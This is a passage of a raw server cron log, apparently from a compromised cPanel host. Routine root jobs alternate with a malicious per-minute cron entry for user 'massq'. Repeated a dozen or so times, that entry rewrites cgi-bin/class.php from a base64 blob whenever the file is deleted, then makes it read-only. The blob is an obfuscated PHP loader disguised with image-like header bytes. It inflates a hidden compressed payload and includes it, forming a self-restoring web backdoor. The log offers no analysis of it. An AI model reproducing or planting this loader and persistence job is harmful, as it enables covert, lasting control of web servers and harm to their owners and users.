"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:40:01 server CROND[3345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:40:01 server CROND[3347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:40:01 server CROND[3346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:40:01 server CROND[3348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:41:01 server CROND[3458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:42:01 server CROND[3510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:42:01 server CROND[3511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 08:43:01 server CROND[3628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:44:01 server CROND[3775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:45:01 server CROND[3829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:45:01 server CROND[3830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:45:01 server CROND[3831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:46:01 server CROND[3942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:47:01 server CROND[4015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:48:01 server CROND[4081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:49:01 server CROND[4241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:50:01 server CROND[4301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:50:01 server CROND[4304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:50:01 server CROND[4303]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 08:50:01 server CROND[4306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:50:01 server CROND[4305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:51:01 server CROND[4433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:52:01 server CROND[4492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7